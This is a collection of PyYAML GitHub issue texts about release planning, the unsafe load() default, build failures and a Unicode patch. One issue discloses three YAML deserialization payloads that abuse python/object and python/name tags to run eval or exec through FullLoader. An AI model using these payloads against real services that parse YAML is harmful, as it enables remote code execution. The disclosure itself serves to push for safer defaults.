Closes:

• https://github.com/yaml/pyyaml/issues/346
• https://github.com/yaml/pyyaml/issues/303
• https://github.com/yaml/pyyaml/issues/43
• https://github.com/yaml/pyyaml/issues/213
• https://github.com/yaml/pyyaml/issues/95 (maybe...)
• https://github.com/yaml/pyyaml/issues/227

Synopsis

See the project planning page: https://github.com/yaml/pyyaml/projects/1

• Make release/4.2 with current master
• Make PR to revert #74 ( #194 )
• PyYAML team fixes broken pyyaml-build system
  • Builds wheels with libyaml-2.1 linked in
• Fix any other 4.2 blocker issues
• Merge in successor to (#74, #189) IF it reaches approval consensus
• Release 4.2 to PyPI
• Continue to work on successor if not part of 4.2
  • Bump version to 5.1 when merged

The PyYAML Release Situation

The most recent PyYAML, 3.12, was released Aug 2016. At that time, Kirill turned over maintenance of PyYAML and LibYAML to @sigmavirus24 and @ingy . Since then about 20 PRs have been applied to PyYAML and about 40 to LibYAML.

PyYAML has a release builder: https://github.com/yaml/pyyaml-build It builds PyYAML wheels against specific versions combinations of (Python, PyYAML, LibYAML).

This builder no longer works and it's complicated by the fact that the build process for libyaml has been changed. The PyYAML team is working hard to fix it.

The 4.1 release attempt was rushed out because we knew that PyYAML 3.12 doesn't work with Python 3.7 which went out this week. We had a fix for that in master, and so we tried to get it out in time for 3.7.

We thought we had a Jenkins build system that would build the wheels as soon as the sdist was uploaded. So we pushed the release only to find out minutes later that this build system wasn't set up to build with libyaml. We were going to have to use the pyyaml-build system.

After 48 hours of work on the windows/wheels system we decided to pull the plug on 4.1. We didn't have wheels and we were getting reports of other things that were wrong. We didn't have a sense that the build system was going to get fixed soon, and we are all volunteers with limited time.

Soon after the release I learned about PR #74 and was completely surprised to find that something this big went in without my seeing it. Looking back now I remember that I had a lot going on in my life at that specific time.

#74 is a non backwards compatible change at the most basic level. It changes how the dump and load functions behave.

The intent of the change is a good one:

• Currently PyYAML has the sugar-API: dump, load, safe_dump, safe_load
• PyYAML has had that API since version 3.1 (April 2006)
• load() is trivial to exploit on untrusted data
• Change load and dump to be aliases to safe_load and safe_dump
• Add alarming (danger_*) new functions for the old load and dump

But this change has contentions:

• It's non-back-compat and is going to affect a ton of existing code
• The name danger is misleading when used in completely safe ways
  • In addition, danger_dump is not known to be exploitable in any way
• PyYAML has known about this and had a safe_ solution in place from the start
  • People are just not feeling comfortable with the defaults

The change is important, worthy of a major release, but is not ready to be part of PyYAML in its current form. A new PR, building from #74 and #189 should be worked on.

The Current Plan Forward

We need to get PyYAML released soon, if only for the Python 3.7 release. We can't make any release at all until the build system works again. IOW, we couldn't even re-release 3.12 right now.

The #74 API change is big and it is more important to get it right than to rush it out. ie It load() may be a big can of gasoline, but nothing's on fire. ie #74 doesn't "fix" anything. It just changes a default to something that's always been safe and available.

There are 60 other changes that I'd like to tackle in the next release, while at the same time taming a broken release process. My hope is that when we figure this out, it will be easy to put out PyYAML releases on a regular basis.

We went from 3.12 to 4.x because this was a big release. It's big with or without #74. I would like to see PyYAML 4.2 get out in the next few days.

If the successor to #74 / #189 is ready and approved by the time we are ready to upload 4.2, it can go in.

If not, then I think it should be the focus of a 5.1 release. It's a big enough change to trigger a major release. It should be in the first release of either 4.x or 5.x.

As of 5.3.1 .load() defaults to using FullLoader and FullLoader is still vulnerable to RCE when run on untrusted input. As demonstrated by the examples below, #386 was not enough to fix this issue.

Some example payloads:

!!python/object/new:tuple 
- !!python/object/new:map 
  - !!python/name:eval
  - [ "RCE_HERE" ]

!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "RCE_HERE"

- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "RCE_HERE"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec

I do not believe this is entirely fixable unless PyYAML decides to use secure defaults, and make .load() equivalent to .safe_load() ( #5 )

FullLoader should probably be removed, as I don't see the purpose of it.

I'm submitting this as a follow-up to https://github.com/yaml/pyyaml/pull/149#issuecomment-380531525 (encouraged by @ingydotnet)

Also fixes #200 Closes #212

aws-cli depends on PyYAML>=3.10,<=3.12.

However, when running on Python 3.7-dev on Travis CI, PyYAML cannot be built:

    ext/_yaml.c:24215:11: error: ‘PyThreadState’ has no member named ‘exc_type’
         tstate->exc_type = local_type;
               ^
    ext/_yaml.c:24216:11: error: ‘PyThreadState’ has no member named ‘exc_value’
         tstate->exc_value = local_value;
               ^
    ext/_yaml.c:24217:11: error: ‘PyThreadState’ has no member named ‘exc_traceback’
         tstate->exc_traceback = local_tb;
               ^
    error: command 'gcc' failed with exit status 1

https://travis-ci.org/hugovk/aws-cli/jobs/335698944#L1466

This also affects other projects which depend on aws-cli, like pika:

  ext/_yaml.c: In function ‘__Pyx__ExceptionSave’:
  ext/_yaml.c:24143:19: error: ‘PyThreadState’ has no member named ‘exc_type’
       *type = tstate->exc_type;
                     ^
  ext/_yaml.c:24144:20: error: ‘PyThreadState’ has no member named ‘exc_value’
       *value = tstate->exc_value;
                      ^
  ext/_yaml.c:24145:17: error: ‘PyThreadState’ has no member named ‘exc_traceback’
       *tb = tstate->exc_traceback;
                   ^
  ext/_yaml.c: In function ‘__Pyx__ExceptionReset’:
  ext/_yaml.c:24152:22: error: ‘PyThreadState’ has no member named ‘exc_type’
     member named ‘exc_traceback’
       tstate->exc_traceback = local_tb;
             ^
  error: command 'gcc' failed with exit status 1
  
  ----------------------------------------
  Failed building wheel for PyYAML
  Running setup.py clean for PyYAML
Failed to build PyYAML

https://travis-ci.org/pika/pika/jobs/335516418

Any idea what's up?

Python 3.6.3 import yaml document = """ b: c: 3 d: 4 a: 1 """ print(yaml.dump(yaml.load(document), default_flow_style=False)) a: 1 b: c: 3 d: 4

The following code was working on 3.13 but no longer works in 5.1:

import yaml

class Ref(yaml.YAMLObject):
    yaml_tag = '!Ref'
    def __init__(self, val):
        self.val = val

    @classmethod
    def from_yaml(cls, loader, node):
        return cls(node.value)

yaml.load('Foo: !Ref bar')

I get the following exception on 5.1:

yaml.constructor.ConstructorError: could not determine a constructor for the tag '!Ref'
  in "<unicode string>", line 1, column 6:
    Foo: !Ref bar

This is true whether I use yaml.load, yaml.full_load or yaml.unsafe_load.

• DEPRECATION: Python 2.6 is no longer supported by the Python core team

• New build jobs are failing only with Python 2.6 (e.g., https://travis-ci.org/yaml/pyyaml/jobs/309566015)

• Update 2017-12-08

  • Added Python 3.3 removal to this PR, as it is also EoL (https://docs.python.org/devguide/index.html#branchstatus)

Hi there, Thank you for releasing the new version 5.4. When I imported version 5.4, I found the following error and would like to report it.

2021-01-20 12:23:20 import yaml
2021-01-20 12:23:20 File "/root/.local/lib/python3.8/site-packages/yaml/__init__.py", line 13, in <module>
2021-01-20 12:23:20 from .cyaml import *
2021-01-20 12:23:20 File "/root/.local/lib/python3.8/site-packages/yaml/cyaml.py", line 7, in <module>
2021-01-20 12:23:20 from _yaml import CParser, CEmitter
2021-01-20 12:23:20 File "/usr/local/lib/python3.8/site-packages/_yaml/__init__.py", line 8, in <module>
2021-01-20 12:23:20 if not yaml.__with_libyaml__:
2021-01-20 12:23:20 AttributeError: partially initialized module 'yaml' has no attribute '__with_libyaml__' (most likely due to a circular import)

The reproduced environment is python: 3.8-slim docker image.

Hi,

I have updated to the newest version 5.1 but yaml module is not available:

yaml version: 5.1 python version: Python 3.7.1 OS version: macOS Sierra 10.13.6

Any idea? Thanks!

See https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=806826

the yaml spec says that

“The allowed character range explicitly excludes the surrogate block #xD800-#xDFFF, DEL #x7F, the C0 control block #x0-#x1F (except for #x9, #xA, and #xD), the C1 control block #x80-#x9F, #xFFFE, and #xFFFF.”

however pyyaml has chosen to negate that check and apply it to only plane 0. This means that any yaml document that contains unicode literals in higher planes will fail to parse (and, on output, use the rather unfriendly \Uxxxxxxxx format).

The attached patch fixes this in a minimally intrusive way, by extending the checks to cover the additional codepoints where appropriate. A better fix would be to use the check as the spec specifies it, but that would be a bigger change.

Index: pyyaml-3.11/lib/yaml/emitter.py

--- pyyaml-3.11.orig/lib/yaml/emitter.py +++ pyyaml-3.11/lib/yaml/emitter.py @@ -8,9 +8,13 @@

all = ['Emitter', 'EmitterError']

+import sys + from error import YAMLError from events import *

+has_ucs4 = sys.maxunicode > 0xffff + class EmitterError(YAMLError): pass

@@ -701,7 +705,8 @@ class Emitter(object): line_breaks = True if not (ch == u'\n' or u'\x20' <= ch <= u'\x7E'): if (ch == u'\x85' or u'\xA0' <= ch <= u'\uD7FF'

•                    or u'\uE000' <= ch <= u'\uFFFD') and ch != u'\uFEFF':
  

•                    or u'\uE000' <= ch <= u'\uFFFD'
  

•                    or ((not has_ucs4) or (u'\U00010000' <= ch < u'\U0010ffff'))) and ch != u'\uFEFF':
               unicode_characters = True
               if not self.allow_unicode:
                   special_characters = True
  

  Index: pyyaml-3.11/lib/yaml/reader.py

  --- pyyaml-3.11.orig/lib/yaml/reader.py +++ pyyaml-3.11/lib/yaml/reader.py @@ -19,7 +19,9 @@ all = ['Reader', 'ReaderError']

  from error import YAMLError, Mark

-import codecs, re +import codecs, re, sys + +has_ucs4 = sys.maxunicode > 0xffff

class ReaderError(YAMLError):

@@ -134,7 +136,10 @@ class Reader(object): self.encoding = 'utf-8' self.update(1)

• NON_PRINTABLE = re.compile(u'[^\x09\x0A\x0D\x20-\x7E\x85\xA0-\uD7FF\uE000-\uFFFD]')

• if has_ucs4:

•    NON_PRINTABLE = re.compile(u'[^\x09\x0A\x0D\x20-\x7E\x85\xA0-\uD7FF\uE000-\uFFFD\U00010000-\U0010ffff]')
  

• else:

•    NON_PRINTABLE = re.compile(u'[^\x09\x0A\x0D\x20-\x7E\x85\xA0-\uD7FF\uE000-\uFFFD]')
  

  def check_printable(self, data): match = self.NON_PRINTABLE.search(data) if match: Index: pyyaml-3.11/lib3/yaml/emitter.py

  --- pyyaml-3.11.orig/lib3/yaml/emitter.py +++ pyyaml-3.11/lib3/yaml/emitter.py @@ -698,7 +698,8 @@ class Emitter: line_breaks = True if not (ch == '\n' or '\x20' <= ch <= '\x7E'): if (ch == '\x85' or '\xA0' <= ch <= '\uD7FF'

•                    or '\uE000' <= ch <= '\uFFFD') and ch != '\uFEFF':
  

•                    or '\uE000' <= ch <= '\uFFFD'
  

•                    or '\U00010000' <= ch < '\U0010ffff') and ch != '\uFEFF':
               unicode_characters = True
               if not self.allow_unicode:
                   special_characters = True
  

  Index: pyyaml-3.11/lib3/yaml/reader.py

  --- pyyaml-3.11.orig/lib3/yaml/reader.py +++ pyyaml-3.11/lib3/yaml/reader.py @@ -134,7 +134,7 @@ class Reader(object): self.encoding = 'utf-8' self.update(1)

• NON_PRINTABLE = re.compile('[^\x09\x0A\x0D\x20-\x7E\x85\xA0-\uD7FF\uE000-\uFFFD]')

• NON_PRINTABLE = re.compile('[^\x09\x0A\x0D\x20-\x7E\x85\xA0-\uD7FF\uE000-\uFFFD\U00010000-\U0010ffff]') def check_printable(self, data): match = self.NON_PRINTABLE.search(data) if match:

When installing with --with-libyaml on python 3.11, compilation fails because the location of a header file has changed:

ext/_yaml.c:196:12: fatal error: longintrepr.h: No such file or directory

A conditional block based on the python version might help?

Hi I have a multi-document YAML and could not use safe_load because of this. It raises ComposerError exception and tells "expected a single document in the stream". I got this exception and tried to use safe_load_all or load_all method. But they returned an empty generator which I could not iterate over it. I could not find anything to help me.

There seems to be an issue with PyPy v3.8.15 and PyPy v3.9.15:

Traceback (most recent call last):
  File "/opt/hostedtoolcache/PyPy/3.8.[15](https://github.com/jupyter-server/jupyter_server_ydoc/actions/runs/3735497732/jobs/6344763684#step:7:16)/x64/lib/pypy3.8/runpy.py", line 198, in _run_module_as_main
    "__main__", mod_spec)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/runpy.py", line 87, in _run_code
    exec(code, run_globals)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/pytest/__main__.py", line 5, in <module>
    raise SystemExit(pytest.console_main())
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/_pytest/config/__init__.py", line 190, in console_main
    code = main()
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/_pytest/config/__init__.py", line 148, in main
    config = _prepareconfig(args, plugins)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/_pytest/config/__init__.py", line 330, in _prepareconfig
    pluginmanager=pluginmanager, args=args
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/pluggy/_hooks.py", line 265, in __call__
    return self._hookexec(self.name, self.get_hookimpls(), kwargs, firstresult)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/pluggy/_manager.py", line 80, in _hookexec
    return self._inner_hookexec(hook_name, methods, kwargs, firstresult)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/pluggy/_callers.py", line 55, in _multicall
    gen.send(outcome)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/_pytest/helpconfig.py", line 103, in pytest_cmdline_parse
    config: Config = outcome.get_result()
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/pluggy/_result.py", line 60, in get_result
    raise ex[1].with_traceback(ex[2])
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/pluggy/_callers.py", line 39, in _multicall
    res = hook_impl.function(*args)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/_pytest/config/__init__.py", line 1058, in pytest_cmdline_parse
    self.parse(args)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/_pytest/config/__init__.py", line 1346, in parse
    self._preparse(args, addopts=addopts)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/_pytest/config/__init__.py", line 1249, in _preparse
    early_config=self, args=args, parser=self._parser
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/pluggy/_hooks.py", line 265, in __call__
    return self._hookexec(self.name, self.get_hookimpls(), kwargs, firstresult)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/pluggy/_manager.py", line 80, in _hookexec
    return self._inner_hookexec(hook_name, methods, kwargs, firstresult)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/pluggy/_callers.py", line 60, in _multicall
    return outcome.get_result()
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/pluggy/_result.py", line 60, in get_result
    raise ex[1].with_traceback(ex[2])
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/pluggy/_callers.py", line 39, in _multicall
    res = hook_impl.function(*args)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/_pytest/config/__init__.py", line 1126, in pytest_load_initial_conftests
    early_config.known_args_namespace, rootpath=early_config.rootpath
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/_pytest/config/__init__.py", line 560, in _set_initial_conftests
    self._try_load_conftest(current, namespace.importmode, rootpath)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/_pytest/config/__init__.py", line 579, in _try_load_conftest
    self._getconftestmodules(x, importmode, rootpath)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/_pytest/config/__init__.py", line 603, in _getconftestmodules
    mod = self._importconftest(conftestpath, importmode, rootpath)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/_pytest/config/__init__.py", line 651, in _importconftest
    self.consider_conftest(mod)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/_pytest/config/__init__.py", line 732, in consider_conftest
    self.register(conftestmodule, name=conftestmodule.__file__)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/_pytest/config/__init__.py", line 496, in register
    self.consider_module(plugin)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/_pytest/config/__init__.py", line 740, in consider_module
    self._import_plugin_specs(getattr(mod, "pytest_plugins", []))
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/_pytest/config/__init__.py", line 747, in _import_plugin_specs
    self.import_plugin(import_spec)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/_pytest/config/__init__.py", line 774, in import_plugin
    __import__(importspec)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/_pytest/assertion/rewrite.py", line [16](https://github.com/jupyter-server/jupyter_server_ydoc/actions/runs/3735497732/jobs/6344763684#step:7:17)8, in exec_module
    exec(co, module.__dict__)
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/jupyter_server/pytest_plugin.py", line 7, in <module>
    from jupyter_server.services.contents.filemanager import AsyncFileContentsManager
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/jupyter_server/services/contents/filemanager.py", line 20, in <module>
    from jupyter_server.base.handlers import AuthenticatedFileHandler
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/jupyter_server/base/handlers.py", line 23, in <module>
    from jupyter_events import EventLogger
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/jupyter_events/__init__.py", line 3, in <module>
    from .logger import EVENTS_METADATA_VERSION, EventLogger
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/jupyter_events/logger.py", line [19](https://github.com/jupyter-server/jupyter_server_ydoc/actions/runs/3735497732/jobs/6344763684#step:7:20), in <module>
    from .schema_registry import SchemaRegistry
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/jupyter_events/schema_registry.py", line 3, in <module>
    from .schema import EventSchema
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/jupyter_events/schema.py", line 8, in <module>
    from . import yaml
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/jupyter_events/yaml.py", line 4, in <module>
    from yaml import dump as ydump
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/yaml/__init__.py", line 13, in <module>
    from .cyaml import *
  File "/opt/hostedtoolcache/PyPy/3.8.15/x64/lib/pypy3.8/site-packages/yaml/cyaml.py", line 7, in <module>
    from yaml._yaml import CParser, CEmitter
  File "yaml/_yaml.pyx", line 2, in init yaml._yaml
ImportWarning: can't resolve package from __spec__ or __package__, falling back on __name__ and __path__

The official website https://pyyaml.org/ lists "2020-06-01: LibYAML 0.2.5 is released." as the latest news. It doesn't list the newest PyYAML 6.0 release.

This is misleading, and probably not the best place to stay updated about PyYAML releases anyway. Please remove or update.

Hi PyYAML team,

I'm attempting to install PyYAML by source on my Linux desktop. (I've chosen installation by source instead of pip because I do not have administrative access on this system.) I've run the recommended installation command of python setup.py install (python --version is Python 3.7.4), however I've run into an issue. Here's the output of python setup.py --without-libyaml install for brevity:

user@desktop:~/path/to/PyYAML-5.3.1$ python setup.py --without-libyaml install
/usr/local/pkgs-modules/Python_3.7.4/lib/python3.7/distutils/dist.py:274: UserWarning: Unknown distribution option: 'python_requires'
  warnings.warn(msg)
running install
running build
running build_py
running install_lib
copying build/lib.linux-x86_64-3.7/yaml/dumper.py -> /usr/local/pkgs-modules/Python_3.7.4/lib/python3.7/site-packages/yaml
error: could not delete '/usr/local/pkgs-modules/Python_3.7.4/lib/python3.7/site-packages/yaml/dumper.py': Read-only file system

Let me know your thoughts and what additional information you need from me. I'd ideally like to be able to install and use YAML in my python code without having administrative privileges. Thanks!

• https://github.com/actions/cache/releases
• https://github.com/actions/checkout/releases
• https://github.com/actions/setup-python/releases
• https://github.com/actions/upload-artifact/releases
• https://docs.python.org/3/whatsnew/3.11.html